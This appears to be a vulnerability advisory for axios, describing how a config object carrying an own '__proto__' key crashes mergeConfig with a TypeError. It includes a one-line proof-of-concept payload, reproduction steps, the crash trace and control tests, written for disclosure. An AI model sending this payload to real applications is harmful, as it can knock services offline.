Denial of Service via proto Key in mergeConfig

Summary

The mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property. An attacker can trigger this by providing a malicious configuration object created via JSON.parse(), causing complete denial of service.

Details

The vulnerability exists in lib/core/mergeConfig.js at lines 98-101:

utils.forEach(Object.keys({ ...config1, ...config2 }), function computeConfigValue(prop) {
  const merge = mergeMap[prop] || mergeDeepProperties;
  const configValue = merge(config1[prop], config2[prop], prop);
  (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);
});

When prop is '__proto__':

1. JSON.parse('{"__proto__": {...}}') creates an object with __proto__ as an own enumerable property
2. Object.keys() includes '__proto__' in the iteration
3. mergeMap['__proto__'] performs prototype chain lookup, returning Object.prototype (truthy object)
4. The expression mergeMap[prop] || mergeDeepProperties evaluates to Object.prototype
5. Object.prototype(...) throws TypeError: merge is not a function

The mergeConfig function is called by:

• Axios._request() at lib/core/Axios.js:75
• Axios.getUri() at lib/core/Axios.js:201
• All HTTP method shortcuts (get, post, etc.) at lib/core/Axios.js:211,224

PoC

import axios from "axios";

const maliciousConfig = JSON.parse('{"__proto__": {"x": 1}}');
await axios.get("https://httpbin.org/get", maliciousConfig);

Reproduction steps:

1. Clone axios repository or npm install axios
2. Create file poc.mjs with the code above
3. Run: node poc.mjs
4. Observe the TypeError crash

Verified output (axios 1.13.4):

TypeError: merge is not a function
    at computeConfigValue (lib/core/mergeConfig.js:100:25)
    at Object.forEach (lib/utils.js:280:10)
    at mergeConfig (lib/core/mergeConfig.js:98:9)

Control tests performed:
| Test | Config | Result |
|------|--------|--------|
| Normal config | {"timeout": 5000} | SUCCESS |
| Malicious config | JSON.parse('{"__proto__": {"x": 1}}') | CRASH |
| Nested object | {"headers": {"X-Test": "value"}} | SUCCESS |

Attack scenario:
An application that accepts user input, parses it with JSON.parse(), and passes it to axios configuration will crash when receiving the payload {"__proto__": {"x": 1}}.

Impact

Denial of Service - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.

Affected environments:

• Node.js servers using axios for HTTP requests
• Any backend that passes parsed JSON to axios configuration

This is NOT prototype pollution - the application crashes before any assignment occurs.